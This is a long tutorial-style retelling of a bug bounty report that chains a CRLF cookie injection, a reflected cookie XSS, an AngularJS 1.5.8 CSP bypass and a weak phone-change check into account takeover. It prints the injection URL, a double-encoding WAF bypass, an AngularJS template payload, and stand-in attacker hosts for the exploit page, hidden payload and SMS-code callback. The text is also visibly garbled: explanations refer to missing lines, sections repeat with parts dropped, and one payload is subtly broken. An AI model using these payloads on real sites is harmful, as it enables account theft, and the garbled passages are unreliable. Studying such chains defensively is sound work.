Now put the chain together. The attacker sends the victim a link. The link uses weakness 1 to plant a cookie in the victim's browser. The cookie contains text built to exploit weakness 2, so when the victim later logs in and reaches the page that prints the cookie back, the browser runs the attacker's text as code. That code uses weakness 3 to get around the site's "only our own code" rule, by loading the site's own old AngularJS file and feeding it an expression. Now the attacker has code running inside the victim's logged-in session, which is the browser equivalent of sitting at the victim's keyboard. The code then uses weakness 4: it changes the account's phone number to the attacker's own, and because the site only checks the new number, the change goes through. Finally the attacker uses the "forgot my password" page, chooses to receive the code by text message, and the code arrives on the attacker's phone. The attacker sets a new password and the account is gone.

A useful everyday comparison for the whole chain is a building with four separate doors. Door one is a loose letterbox that lets you post a note into the building. Door two is a noticeboard inside where anyone's note gets read aloud as instructions. Door three is a photocopier that the building trusts completely, which will copy anything you feed it. Door four is a key cupboard that only checks the new key you are adding, not whether you already have one. None of those is a break-in by itself. Together they let a stranger walk out with the keys.

The researcher is clear about one more thing, and it matters for anyone learning this subject: a proof that simply pops up an alert box on the page is not enough. He says plainly that a bare alert(document.cookie) earns a zero score and an "informative" rating. What made this report valuable was showing the whole path to an account takeover, and the report says the work ended in a five-figure bounty. The report says the work ended in a five-figure bounty but does not give the exact amount.

The pieces of the puzzle

Before walking through the chain, it helps to know the cast of characters. There are two addresses in the story, four weaknesses, and one feature that turns the weaknesses into a takeover.

The two addresses

The report uses two hostnames throughout:

  • redacted.redacted.com is a subdomain. A subdomain is a smaller address that belongs to a bigger one, the way a flat number belongs to a building. This one is where the first bug lived.
  • www.redacted.com is the main site, the one users log in to. This is where the cookie gets printed back into the page, and where the phone-change feature lives.

Both belong to the same company, and that matters later: the report relies on the same-origin policy and X-Frame-Options to read the token from an iframe. The report does not say what the product is or what the site is for, beyond the features the chain touches.

The four weaknesses

  1. A redirect that can be tricked into setting a cookie. The site had an address that took part of what you typed and put it into a "go somewhere else" instruction without cleaning it. By slipping in a special invisible character, the researcher could make the site send a second instruction of his own: "store this cookie".
  2. A cookie whose value is printed back into the page. One cookie on the site was being read back and shown on several pages without being cleaned. Because some characters have special meaning in a web page, a cookie value containing those characters gets run as code by the browser.
  3. An old copy of a JavaScript framework that runs text as code. The site loaded AngularJS version 1.5.8 from its own address. That version treats text in double curly brackets as a small program to run. The site's security rule said "only run code from our own address", and the old file was on the site's own address, so the rule allowed it.
  4. A phone-number change that only checks the new number. The feature asked for a code sent to the new phone and nothing else: no code to the old phone, no email confirmation, no password.

The impact path

The fourth weakness is the one that turns "someone can run code in my browser" into "someone owns my account". Here is why.

Many sites let you attach a phone number so you can receive a code by text message (SMS) when you forget your password. That makes the phone number a recovery factor: a way to prove you are you. If an attacker can change the recovery factor to their own phone, then the "forgot my password" page will send the reset code to the attacker, and the account is gone.

The report contrasts the phone change with two other account features on the same site:

  • Adding a secondary email asked for the main account password the next time you logged in.
  • Changing the password asked for the old password.

The phone change asked for neither. It validated only the new number by SMS. That is the gap the chain exploits.

The concepts you will meet

A handful of terms come up again and again. Here they are, from zero.

A cookie is a small piece of text that a website asks your browser to store and send back on every later visit to that site. Think of it as a coat-check ticket: the site gives it to you, you keep it, and you show it on the way back in so the site knows who you are. Cookies are how most sites remember that you are logged in. They are just text, and the site can read them back and show them on the page, which is exactly what goes wrong in weakness 2.

A token is similar in spirit but different in use. A token is a value that proves you are allowed to do something, usually for a short time. The report deals with two kinds:

  • A CSRF token (CSRF stands for Cross-Site Request Forgery). It is a secret value the site puts in a page so that a form submitted from that page can be told apart from a form submitted by some other site pretending to be you. The site checks the token on every sensitive request. If an attacker's code can read the token, it can submit requests that look legitimate.
  • An OAuth token (also called an access token). It is a value an application gets from an API after proving who it is, and it is presented on later calls to prove the same thing again. Think of it as a wristband at an event: you show your ticket once at the door, get the wristband, and after that the wristband is enough.

A CSP, or Content Security Policy, is a rule the site sends to your browser saying where code and other resources are allowed to come from. A typical rule might say "only run scripts from our own address" or "only connect to our own address". The browser enforces it, so even if an attacker gets text onto the page, the browser may refuse to run it. The report deals with three parts of the policy:

  • script-src, which controls where scripts may be loaded from.
  • connect-src, which controls where the page may send network requests to.
  • img-src, which controls where images may be loaded from.

A WAF, or Web Application Firewall, is a filter that sits in front of a website and inspects incoming requests. If a request looks like an attack, the WAF blocks it before it reaches the site. The report also mentions a CDN, a Content Delivery Network, which is a network of servers that cache and serve a site's content; the CDN in this story was doing the blocking. The researcher calls it "the CDN" and "the WAF" more or less interchangeably, and the practical effect is the same: a filter that inspects the text of your request and refuses the ones it does not like.

An API, or Application Programming Interface, is a way for one piece of software to talk to another. When you use a website, your browser is often calling the site's API behind the scenes: it sends a request to an address like https://api.redacted.com/v1/something and gets back data, usually in a format called JSON. Think of the website as a restaurant menu and the API as the kitchen door: the menu is what you see, the kitchen door is where the actual orders go. The report uses the site's own API as a hiding place for a value, which is why it matters here.

A header is a line of extra information that travels with every web request and response, separate from the page content. Headers say things like "this page is a redirect, go here instead" (the Location header), "store this cookie" (the Set-Cookie header), or "do not let other sites put this page in a frame" (X-Frame-Options). Headers are structured: each one is a name, a colon, and a value, and each one sits on its own line. That structure is what the first weakness abuses.

A redirect is a response that tells your browser "the thing you asked for is somewhere else, go there". The site sends a Location header with the new address, and the browser follows it automatically.

An iframe is a way to put one web page inside another, like a picture-in-picture window. A page can create an iframe pointing at another address, and the inner page loads inside the outer one. Browsers have rules about what the outer page can see of the inner one, and those rules become important in step 6.

Base64 is a way of writing any data using only ordinary letters and digits, so it can travel safely through places that only accept text. It makes the data longer, roughly a third longer, which becomes a problem in step 9.

A PNG is an ordinary image file format. The report hides code inside a PNG image and has the page read the image back out, which sounds strange but works because a browser can load an image from anywhere the CSP allows, and JavaScript can read the image's contents.

With those terms in hand, the four weaknesses make more sense. The first is about a header. The second is about a cookie. The third is about a CSP and a framework. The fourth is about a recovery factor. The rest of this section looks at each one in turn.

The redirect that sets a cookie

The first weakness is on redacted.redacted.com. The report describes it as a CRLF bug found by Burp during a scan.

CRLF stands for Carriage Return, Line Feed. Those are the two invisible characters that, in many text formats, mean "the line ends here and a new one starts". In a web response, each header sits on its own line, and the blank line after the last header marks the start of the page content. If an attacker can insert a carriage return into a header value, the header ends early and whatever follows is read as a brand new header.

The site had an address that took part of what you typed and put it into the Location header of a redirect, without stripping those characters. The report shows the result as a URL you can open in Chrome:

Text
https://redacted.redacted.com/robot.txtasd%0dSet-Cookie:foo%3dbar

Line by line, in plain words:

  • https://redacted.redacted.com/ is the site.
  • robot.txtasd is the part of the address the site copies into its redirect. It looks like a file name, which is probably why it was treated as harmless.
  • %0d is the carriage return character, written in the encoded form that URLs use for characters that cannot appear literally. This is the character that ends the Location header early.
  • Set-Cookie:foo%3dbar is the text that follows. Because the header ended early, the browser reads this as a new header of its own: "store a cookie named foo with the value bar". The %3d is the equals sign, encoded.

The report says it was a Location: redirect CRLF injection. That matters because the injected header lands in a redirect response, not in a page body, so there was no XSS to be had from it directly. The only effect was that a cookie could be set. The researcher says this was the only impact, and that he spent the whole of the following week thinking about how the behaviour could be exploited.

The everyday comparison is a form letter where the recipient's name is typed in by the sender. If the sender can type a line break and then extra text, the extra text appears as if it were part of the official letter. Here the "letter" is the response headers, and the "extra text" is a cookie instruction.

The cookie that comes back in the page

The second weakness is a cookie whose value is printed back into the page. The report calls it "the redacted cookie" and says it was reflected on multiple pages without being properly sanitised, accepting <> characters.

"Reflected" means the site reads the cookie and writes its value into the page it sends back. That is common and usually harmless: a site might use a cookie to remember your display name and print it in the corner. It becomes dangerous when the value is printed without cleaning, because some characters have special meaning in a web page.

The two characters that matter most are < and >. In HTML, the language web pages are written in, angle brackets mark the start and end of a tag, and a tag is an instruction to the browser. <script> starts a block of code the browser will run, and </script> ends it. If a cookie value containing those characters is printed into the page, the browser cannot tell the difference between the site's own code and the cookie's text. It runs the text as code. This is called cross-site scripting, or XSS.

An earlier report had covered this cookie, and most of the reflections had been fixed in response. A few remained. Digging across the site, the researcher found the one that mattered: on www.redacted.com/redacted, a page reached after login, the redacted cookie is reflected without sanitisation inside script tags. A cookie value that reaches the inside of a script block is a script injection point, and because the value arrives through a cookie, the CRLF primitive from the first weakness is a way to plant it.

The comparison is a noticeboard where anyone's note gets read aloud as instructions. If the site prints your cookie on the board and reads it out, and you can write the cookie, you can get your own instructions read out.

The old AngularJS file

The third weakness is an old copy of a JavaScript framework. A framework is a chunk of ready-made code that a site loads to save itself work, the way a cook might use a ready-made sauce instead of making it from scratch. AngularJS is one such framework, and it has a feature that matters here: it looks through the page for text written in double curly brackets, {{ like this }}, and treats that text as a small program to run. That is called a template, and the feature is called template evaluation. When an attacker can get text with curly brackets onto the page, AngularJS will run it. That is a template injection.

The site loaded AngularJS version 1.5.8 from its own address:

The report says this AngularJS script suffers from a template injection DOM XSS. "DOM" stands for Document Object Model, which is the browser's in-memory model of the page; a DOM XSS is one where the dangerous text is placed into the page by code running in the browser, rather than by the server. The version number matters because the behaviour is a property of that version.

Why does it matter that the file is on the site's own address? Because of the CSP. The site's Content Security Policy said, in effect, "only run scripts from our own address". A script tag pointing at https://www.redacted.com/redacted/angular/angular.min.js is on the site's own address, so the policy allowed it. That is the essence of a script gadget, a term the report borrows from a 2017 Black Hat paper: an existing script the page already trusts, which can be made to run attacker-controlled text.

The comparison is a photocopier the building trusts completely. The building's rule says "only use our photocopier", and the attacker's trick is to feed the trusted photocopier a page of his own.

The phone-change feature

The fourth weakness is the feature that turns code execution into an account takeover. The site let a logged-in user replace the primary SMS phone number, and the only check was an SMS code sent to the new number. The report lists what was not required:

  • No SMS to the old phone.
  • No email confirmation.
  • No password.

The report contrasts this with two other account features on the same site:

  • Adding a secondary email asks for the main account password when you want to log in after you log in with the new email.
  • Changing the password asks you to type the old password, which an attacker does not have.

The phone change was the odd one out. The researcher also rejected the password change on style grounds: he did not want a proof of concept that relies on social engineering the user into typing the password again, and preferred something fully automated.

The phone change fits that preference. The attacker goes to the lost-password flow, selects SMS as the recovery method, and the code goes to the number the attacker has just installed. The report describes this as behaving "like if it were the owner of it all the time".

The comparison is a key cupboard that only checks the new key you are adding, not whether you already have one. If you can add a key, you can come back later and use it.

That is the cast: two addresses, four weaknesses, and a recovery factor that can be swapped. The next section looks at what the researcher needed to set up before the chain could be built.

Setting up the attack

Before any of the chain could be built, the researcher needed a set of tools and a small amount of infrastructure outside the target. None of it is exotic: a scanner, two command-line tools for collecting JavaScript addresses, a phone number that can receive text messages, a small web server that can run PHP, a page to host the exploit, and somewhere to put an image file. This section explains what each one is, why it was needed, and what it did.

The scanner that started it all

The work began with a scan. A scan, in this context, means pointing an automated tool at a website and letting it try a large catalogue of known request patterns to see which ones produce something interesting. The tool the report names is Burp Suite.

Burp Suite is a program that sits between your browser and the website you are testing. Every request your browser makes passes through Burp, and Burp can record it, change it, replay it, and send thousands of variations of it automatically. Think of it as a post office clerk who reads every letter you send and can rewrite any of them before they go out. The part of Burp that does the automatic variation is called the scanner, and that is what produced the first finding: the CRLF injection on redacted.redacted.com.

The report says only that Burp found the CRLF injection during a scan. So the setup here is simply: install Burp, point it at the target, run the scanner, and read the results. The CRLF finding was one of those results. Everything after that was built by hand, by following what the finding made possible.

Finding the JavaScript

The third weakness in the chain is an old AngularJS file served from the site's own address. To find it, the researcher needed to know which JavaScript files the site loads. A large site loads dozens or hundreds of them, and reading each one by hand is impractical. Two command-line tools did the job.

gau is a tool that collects addresses. Its name stands for "get all URLs", and that is what it does: it queries public sources that record which addresses have been seen on a domain, and prints the list. The report describes it as "a tool from my friend cdl". The researcher used it to enumerate .js assets across the domain, meaning every address ending in .js that had ever been seen on the site.

The output of gau is a long list of script addresses. Most of them are uninteresting: analytics snippets, tracking code, small helper files. The interesting ones are the framework files, because frameworks are the things that evaluate markup. To narrow the list down, the researcher used a second tool.

anti-burl is a tool that filters a list of addresses by actually requesting each one and looking at the response. The report says anti-burl was used to filter 200-response JavaScript files containing the word "angular". Two conditions, in plain words:

  • Returned HTTP 200. When your browser asks a server for an address, the server answers with a three-digit status code. 200 means "here it is, everything is fine". Other codes mean other things: 404 means "not found", 403 means "forbidden", 500 means "the server broke". Filtering for 200 keeps only the addresses that actually serve a file, not the ones that are dead links or redirects.
  • Contained the word "angular". The tool downloads the file and searches its text for the string angular. A file that mentions Angular is very likely to be AngularJS itself, or something that uses it.

That filter led to the file the chain needed:

Line by line, in plain words:

  • https:// is the secure version of the web protocol. The s stands for secure, and it means the traffic is encrypted.
  • /redacted/angular/ is the folder path on that site. The report has replaced the real folder name with "redacted".
  • angular.min.js is the file name. The .min part means "minified": the file has had its spaces, comments and long variable names stripped out to make it smaller, which is standard for files served to browsers. It is still the same code, just harder for a human to read.

The file runs AngularJS version 1.5.8. The version matters for two reasons. First, the report identifies that version as suffering from a template injection DOM XSS, which is the behaviour the chain needs. Second, because the file is served from the site's own domain, the CSP whitelists it, so a script tag pointing at it is allowed. The researcher did not have to find a way to get a new script past the policy; he found a script the policy already trusted.

The everyday comparison for this step is a librarian looking for a particular book. gau gives you the catalogue of every book the library has ever had. anti-burl is the librarian who walks the shelves, checks which books are actually there (status 200), and opens each one to see whether it is about the subject you want (contains "angular"). You end up with the one book you needed, without reading the whole catalogue yourself.

The infrastructure outside the target

The chain needs a few things that are not on the target at all. They are the attacker's own equipment, and each one exists because a later step needs it.

An SMS-capable phone number. The phone-change feature sends a six-digit code by text message to the new number. To complete the change, the attacker has to receive that code. So the attacker needs a phone number that can receive SMS, and ideally one that can hand the message on to a computer automatically, because the whole point of the chain is to automate the takeover.

The first attempt used the Twilio API. Twilio is a company that provides phone numbers and a programming interface for sending and receiving calls and messages. The report says the Twilio API did not receive SMS from the target site. The researcher then found an SMS provider that can receive short SMS messages and send an HTTP API callback. "Short SMS messages" matters because many automated SMS services are built for longer messages, and a six-digit code is a very short one. "Call back over HTTP" means the provider, when a message arrives, sends a request to a web address the attacker controls, carrying the message text. That is how the code gets from the phone network to the attacker's script.

A PHP host. PHP is a programming language commonly used for web servers. A PHP host is a computer running a web server that can execute PHP files. The attacker needs one because the SMS provider calls back over HTTP, and something has to answer that call, pull the six-digit code out of the message, and pass it on. The report gives the callback address as:

Text
http://myserver.com/sms.php?Text=SMSmessagebodyfromsite

Line by line, in plain words:

  • http:// is the ordinary, unencrypted web protocol. The report uses http here, not https.
  • myserver.com is the attacker's own server, a placeholder name in the report.
  • /sms.php is the PHP file that will run when the request arrives.
  • ?Text= starts the query string, the part of an address after the question mark that carries data to the server.
  • SMSmessagebodyfromsite is a placeholder for the actual text of the SMS. The provider fills this in with the message it received.

So when a text message arrives at the attacker's number, the SMS provider sends a request to that address with the message text attached, and the PHP file runs. What the PHP file does with the text is covered in step 8.

An attacker page. The victim has to visit a page the attacker controls, because that page is what starts the chain in the victim's browser. The report's step-by-step description calls it https://evil.com/poc.html. "PoC" stands for proof of concept, the demonstration that the bug is real. The page contains a small amount of HTML and JavaScript that loads the CRLF link in a hidden iframe and then does the cookie denial-of-service described in step 10.

A place to serve the PNG payload. The final JavaScript payload is too long to fit in a URL, so the researcher hid it inside a PNG image and had the page load the image and read the code back out. That image has to live somewhere the target's CSP allows images from. The cookie payload points at https://mysite.com/img.php and the combined link at https://attacker.com/img.php. Both are placeholders for the attacker's own host.

What the victim and attacker need

The chain only works if certain conditions hold on both sides. The report is clear about them, and they are worth listing because they explain why the exploit is built the way it is.

On the victim's side:

  1. The victim must visit the attacker's page, https://evil.com/poc.html in the report's description. The report says the victim randomly got redirected to the exploit page and does not describe how.
  2. The victim must log in to the target after the infection. This is because the reflected cookie only lands inside script tags on the post-login page at www.redacted.com/redacted. Before login, the page that prints the cookie back is not reached, so the injected text sits in the browser doing nothing.

On the attacker's side:

  1. The attacker needs a phone number that can receive the SMS code from the target. This is why the SMS provider that can receive short messages and call back over HTTP was required.
  2. The attacker needs the victim's email address for the lost-password step, because the recovery code is sent to the number the exploit has just installed. Without the email, the attacker cannot start the reset flow.

Two test environments also appear in the report: the researcher's Mac and a Linux desktop. The difference between them turned out to matter, because the Mac was running an adblocker that blocked redacted.redacted.com traffic. That is how the cookie overwrite problem was noticed, and it is covered in step 10. An adblocker is a browser extension that blocks requests to addresses on a list of known advertising and tracking hosts; if the target's address happened to be on that list, the browser silently refused to load it, and the exploit behaved differently.

With the tools installed and the infrastructure in place, the researcher could start building. The next section follows the discovery of each bug in the order it happened, which is not quite the order the chain uses them.

Finding the bugs, step by step

The chain was not designed in advance. Each bug was found because the previous one left a question open, and the researcher followed the question. This section follows the discovery in the order it happened: the CRLF from the scanner, the reflected cookie, the block from the CDN, the AngularJS template injection, and finally the choice of the phone change as the way to show impact.

The CRLF on the redirect

The first bug came from Burp Suite's scanner, at the beginning of the year, during a scan of redacted.redacted.com. A scanner works by sending a large catalogue of known attack patterns to every address it can reach and watching the responses for signs that one of them did something unexpected. One of those patterns produced a hit.

The report is specific about the type of bug: it was a Location: redirect CRLF injection. To understand what that means, you need to know how a web response is laid out. When your browser asks a server for an address, the server answers with a response made of two parts: a set of headers, then a blank line, then the page content. Each header is a single line of text in the form Name: value. The blank line is what tells the browser "headers are over, the content starts here".

Two headers matter for this bug:

  • Location is the header a server uses to say "the thing you asked for is somewhere else, go there instead". A response carrying a Location header is a redirect, and the browser follows it automatically without asking you.
  • Set-Cookie is the header a server uses to say "store this small piece of text in the browser and send it back to me on later visits".

Those are the two invisible characters that, in many text formats, mean "this line ends here and a new one starts". In a web response, a carriage return inside a header value is supposed to be impossible, because it would let the value break out of its own line and start a new header. If a site copies user input into a header without stripping those characters, an attacker can supply the carriage return and write headers of their own.

That is what happened here. The site had an address that took part of what you typed and placed it into the Location header of a redirect, without stripping carriage returns.

Text
https://redacted.redacted.com/robot.txtasd%0dSet-Cookie:foo%3dbar

Line by line, in plain words:

  • https://redacted.redacted.com/ is the site, the subdomain where the bug lived.
  • It looks like a file name, which is probably why it was treated as harmless and skipped validation.
  • The %3d is the equals sign, encoded.

The report says it was a Location redirect CRLF injection, so there was no XSS. XSS, cross-site scripting, is the situation where an attacker's text ends up in a page and the browser runs it as code; a redirect response has no page body to put text into. The only effect available was that a cookie could be set.

On its own, that is a curiosity. It becomes useful only if some page on the site reads a cookie back and does something dangerous with it, which is exactly what the next discovery turned up.

The reflected cookie

The next step was to look for a cookie whose value comes back in a response. The researcher describes it as fuzzing cookies to find a vulnerable one. Fuzzing means sending many variations of an input automatically and watching for a response that differs from the normal one: you change one character at a time, or send a set of characters that are known to be dangerous, and see which variation produces something interesting.

The fuzzing turned up a cookie, referred to in the report as the redacted cookie, which was reflected on multiple pages and was not being properly sanitised: it accepted <> characters. Both halves of that sentence matter.

It runs the text as code. That is XSS, and the fact that the cookie accepted <> is what makes it possible.

An earlier report had already covered this cookie, and most of the reflections had been fixed in response. A few remained. A cookie value that reaches the inside of a script block is a script injection point, and because the value arrives through a cookie, the CRLF primitive from the first finding is a way to plant it.

The first bug writes the cookie; this one reads it back into a place where the browser will run it.

The CDN block and double encoding

The first attempt to use the reflection was blocked outright. Sending the following in the cookie header caused the CDN to block the request:

Text
redacted=ORIGINALCOOKIE<img src=x>

Line by line, in plain words:

  • redacted= is the cookie's name and the start of its value. The report has replaced the real cookie name with "redacted".
  • ORIGINALCOOKIE is a placeholder for whatever value the cookie normally holds. The attacker keeps the original value so the site still recognises the cookie, and appends his own text after it.
  • <img src=x> is a small piece of HTML. img is the tag for an image, and src=x tells the browser to load the image from an address called x. The address does not exist, so the image fails to load, but the tag itself is the test: if the browser tries to load it, the attacker knows his text was treated as HTML rather than as plain text.

The CDN blocked it hard. A CDN, Content Delivery Network, is a network of servers that sit in front of a site to cache and serve its content quickly; many CDNs also inspect incoming requests and block ones that look like attacks, which is the same job a WAF, Web Application Firewall, does. The report refers to the CDN blocking the request and later to the WAF blocking it. and the practical effect is the same: a filter that reads the text of your request and refuses the ones it does not like. In this case the filter recognised the <img pattern and stopped the request before it reached the site.

The researcher was stuck at this point for a while. After a few attempts and different encoding tests, the conclusion was that double encoding gets past the protection. The report gives a generic example: if the CDN bans the word script, sending the following is reflected by the page as script and passes the filter:

Text
scrip%25%37%34,

Line by line, in plain words:

  • scrip is the first five letters of the word script, written plainly.
  • %25 is the percent sign, encoded. A percent sign is special in URLs: it marks the start of an encoded character, so to send a literal percent sign you have to encode it as %25.
  • %37 is the digit 7, encoded.
  • %34 is the digit 4, encoded.
  • , is just a comma, included in the report's example as part of the surrounding text.

Put together, %25%37%34 decodes once to %74, and %74 decodes again to the letter t. So the filter sees scrip%25%37%34, which contains no t and therefore does not match the banned word script. The application, however, decodes the value before reflecting it, and after decoding it has script. The filter inspected an encoded string; the page rendered the decoded one.

The everyday comparison is a bouncer at a door with a list of banned names. If you write your name in a code the bouncer cannot read, he lets you in, and the person inside who knows the code reads it out as the banned name. The report calls this "beautiful", and it is the trick that every later payload depends on.

The AngularJS template injection

With a way to inject script past the CDN, the next obstacle was the Content Security Policy. A CSP is a rule the site sends to your browser saying where code and other resources are allowed to come from. The researcher describes this policy as one of the hardest he had ever had to defeat.

More than two months went into searching for a JSONP callback that the policy would allow, and the report is clear that this was the wrong thing to be looking for. JSONP, JSON with Padding, is an older technique for loading data from another site by wrapping it in a script; a JSONP callback is an address on some allowed site that returns data in a form the browser will run as code. The idea was to find such an address on a domain the policy trusted, and use it to run the attacker's code. It did not work, and the time spent on it was wasted.

What changed the approach was an old paper: the 2017 Black Hat talk "Don't Trust the DOM: Bypassing XSS Mitigations Via Script Gadgets", at https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf. Black Hat is a well-known security conference, and the paper is about a class of bypass the researcher had not been considering. Reading it turned the search towards script gadgets: existing scripts that the page already trusts, which can be made to execute attacker-controlled markup. The everyday comparison is a photocopier the building trusts completely.

The domain had plenty of JavaScript to look through. Using gau to enumerate .js assets and anti-burl to keep only files returning 200 that contained the word "angular", the researcher reached this file:

Line by line, in plain words:

  • https:// is the secure version of the web protocol, so the traffic is encrypted.
  • /redacted/angular/ is the folder path on that site, with the real folder name replaced by "redacted".
  • angular.min.js is the file name. The .min part means the file has been minified: spaces, comments and long variable names stripped out to make it smaller. It is the same code, just harder for a human to read.

It runs AngularJS 1.5.8, which the report identifies as suffering from a template injection DOM XSS. AngularJS is a framework, a chunk of ready-made code a site loads to save itself work, and it has a feature that matters here: it looks through the page for text written in double curly brackets, {{ like this }}, and treats that text as a small program to run. When an attacker can get text with curly brackets onto the page, AngularJS will run it, which is a template injection. "DOM" stands for Document Object Model, the browser's in-memory model of the page; a DOM XSS is one where the dangerous text is placed into the page by code running in the browser rather than by the server.

Because the file is served from the site's own domain, the CSP whitelists it, so a script tag pointing at it is allowed. The payload that follows loads that file and then uses Angular's ng-app directive to have the framework evaluate an expression:

HTML
<script src='https://www.redacted.com/angular/angular.min.js'></scripT><body ng-app>{{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1))');}}</body>

Line by line, in plain words:

  • <script src='https://www.redacted.com/angular/angular.min.js'> opens a script tag that loads the whitelisted AngularJS file. The browser fetches the file and runs it, and because the file is on the site's own domain the CSP allows it.
  • </scripT> closes the script tag. The odd capitalisation, with a capital T, is deliberate: it is one of the ways the payload gets past a filter that looks for the exact lowercase string </script>. HTML tag names are not case-sensitive, so the browser treats </scripT> the same as </script>.
  • <body ng-app> opens a body element with the ng-app attribute. ng-app is Angular's instruction to treat everything inside this element as an Angular application, which means it will look for {{ }} expressions and run them.
  • {{x={'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1))');}} is the expression Angular will evaluate. It is written in JavaScript, the language browsers run. Broken into pieces:
    • x={'y':''.constructor.prototype} creates a variable x holding an object with one property, y, whose value is the constructor.prototype of an empty string. In JavaScript, every value has a constructor (the function that made it) and a prototype (the shared set of properties for values of that type). Reaching constructor.prototype from an empty string is a way to get at the shared properties of all strings.
    • x['y'].charAt=[].join replaces the charAt method on that shared prototype with the join method of an empty array. This is a gadget: it changes what a built-in function does, so that later code calling charAt actually calls join.
    • $eval('x=alert(1))') calls Angular's own evaluation function, $eval, on a string. $eval is Angular's way of running a piece of text as an expression, and it is the part that makes this work under a policy that forbids inline script: the browser is not running the text directly, Angular is.
    • alert(1) is the classic proof that code ran: it pops up a box with the number 1 in it.

With this HTML reflected in the page, the researcher had a controlled JavaScript environment running under the strict CSP. With this HTML reflected in the page, the researcher had a controlled JavaScript environment under the strict CSP.

Choosing the impact path

The report is blunt about why this step exists: a simple alert(document.cookie) proof of concept earns a zero CVSS score and an informative rating, so impact has to be shown, especially on this program. Two terms there need explaining.

document.cookie is the browser's way of reading the cookies for the current page from JavaScript. An alert showing it is the classic demonstration that script execution works, because it proves the attacker's code can read the victim's cookies. CVSS, the Common Vulnerability Scoring System, is a standard way of scoring how serious a vulnerability is, from 0 to 10. A zero score means "no impact", and an "informative" rating is the lowest grade a bug report can get: it is acknowledged but treated as not worth fixing urgently. The researcher's point is that a bare alert proves the bug exists but not that it matters.

So he went looking for logical flaws that could lead to an account takeover. A logical flaw is a mistake in how a feature is designed rather than in how it is coded: the code does what it was written to do, but what it was written to do is wrong. He tested three account features.

Feature Result Reason given
Add a secondary email Rejected It asks for the main account password when you log in after adding the new email
Change password Rejected It asks for the old password, which the attacker does not have
Change primary SMS phone Accepted It validates only the new phone by SMS, with no SMS to the old phone, no email confirmation and no password

The first two are rejected for the same underlying reason: they ask for something the attacker does not have. Adding a secondary email asks for the main account password at the next login, so even if the attacker's code adds an email address, the attacker cannot log in with it without the password. Changing the password asks for the old password, which the attacker does not know.

The password change was also rejected on style grounds: the researcher did not want a proof of concept that relies on social engineering the user into typing the password again, and preferred something fully automated. Social engineering means tricking a person into doing something for you, such as typing their password into a box the attacker is watching. It works, but it depends on the victim cooperating, and the researcher wanted a demonstration that runs without the victim doing anything beyond logging in.

The phone change fits that preference. It validates only the new phone by SMS, with no SMS to the old phone, no email confirmation and no password. The everyday comparison is a key cupboard that only checks the new key you are adding, not whether you already have one: if you can add a key, you can come back later and use it.

That choice set the shape of everything that followed. The rest of the exploit exists to drive the phone-change flow from the victim's browser, with the victim's session and a valid CSRF token, so that the only remaining check is a code the attacker receives on his own phone. The next section builds that exploit step by step.

Building the exploit

Step 1: Setting a cookie through the CRLF

The chain starts with the smallest possible action: making the victim's browser store a cookie that the attacker chose. Everything later depends on this, because the attacker needs a way to get his own text into the victim's browser under the target's name, and the CRLF injection is that way in.

The entry point is the Location: redirect CRLF on redacted.redacted.com. Opening the following URL in Chrome sets a new cookie:

Text
https://redacted.redacted.com/robot.txtasd%0dSet-Cookie:foo%3dbar

Line by line, in plain words:

  • The https means the traffic is encrypted.
  • The site takes this text and puts it into the Location header of a redirect response.
  • A carriage return is one of the two invisible characters (carriage return and line feed) that mean "this line ends here and a new one starts".
  • The %3d is the equals sign, encoded.

To see why this works, you need to know how a web response is laid out.

Two headers matter here:

A carriage return inside a header value is supposed to be impossible, because it would let the value break out of its own line and start a new header. The site copied the text from the address into the Location header without stripping those characters, so the attacker could supply the carriage return himself and write a header of his own. The browser, reading the response, has no way to tell that the second header was not sent by the site on purpose.

The report is explicit that this was the only impact available at that stage. It was a redirect CRLF, so there was no XSS: the injected header lands in a redirect response, not in a page body, and a redirect response has no page body to put text into. The researcher says this was the only impact, and that he spent the whole of the next week thinking about how the behaviour could be exploited.

What the primitive gives the attacker is a way to write an arbitrary cookie into the victim's browser for the target domain, from a link. That is not much on its own. A cookie the attacker controls is only dangerous if some page on the site reads that cookie back and does something with it, and that is exactly what the next step found. The first link of the chain is in place: the attacker can plant text in the victim's browser under the site's own name.

Step 2: Finding a cookie reflected into script tags

The first step gave the attacker a way to write a cookie of his choosing into the victim's browser. On its own that is harmless: a cookie is just text, and text that nobody reads does nothing. The second step is about finding a page that reads the cookie back and puts it somewhere the browser will treat it as code. Without that page, the CRLF injection is a curiosity. With it, the planted cookie becomes a script.

The search was for a cookie whose value comes back in a response. In this case the input was the value of each cookie the site sets, and the interesting variation was one that came back in the page unchanged.

Both halves of that sentence matter, and each needs explaining from zero.

What "reflected" means. A cookie is a small piece of text that a website asks your browser to store and send back on every later visit to that site. Because the browser sends the cookie back on every request, the site's server can read it, and many sites use cookie values to fill in parts of the page: a display name, a language preference, a theme. When the site writes that value into the page it sends back, the value is said to be reflected. That is common and usually harmless.

Why <> matters. It becomes dangerous when the value is printed without cleaning, because some characters have special meaning in a web page. It runs the text as code. That is cross-site scripting, or XSS for short.

So the two findings fit together neatly. The first step lets the attacker write a cookie. This step found a cookie whose value the site prints back into the page. If the attacker writes a cookie value containing <script> and the site prints it back, the browser runs the attacker's script. The everyday comparison is a noticeboard where anyone's note gets read aloud as instructions: if the site prints your cookie on the board and reads it out, and you can write the cookie, you can get your own instructions read out.

The earlier report and the partial fix. The report says that after his first report of this cookie, most of the reflections had been fixed. That history matters for two reasons. First, it tells you the site had tried to fix the problem, which means the remaining spots were the ones the fix missed rather than ones nobody had noticed. Second, it tells you where to look: a cookie that was once reflected in many places tends to have a few forgotten routes left, and those routes are exactly the ones an attacker wants.

A few remained. Digging across the site, the researcher found the one that mattered.

The post-login page. The remaining reflection that mattered is on www.redacted.com/redacted, a page reached after login, where the redacted cookie is reflected without sanitisation inside script tags. Line by line, in plain words:

  • This is a different address from redacted.redacted.com, where the CRLF lived, but both belong to the same company, and browsers treat addresses under the same parent as one family. That family relationship is what lets a cookie planted through one address be read by the other.
  • /redacted/ is the folder path on that site, with the real folder name replaced by "redacted".
  • The page is reached after login, which means the site only shows it to someone who has signed in. That is why the victim has to log in after the infection: before login, the page that prints the cookie back is not reached, so the planted text sits in the browser doing nothing.

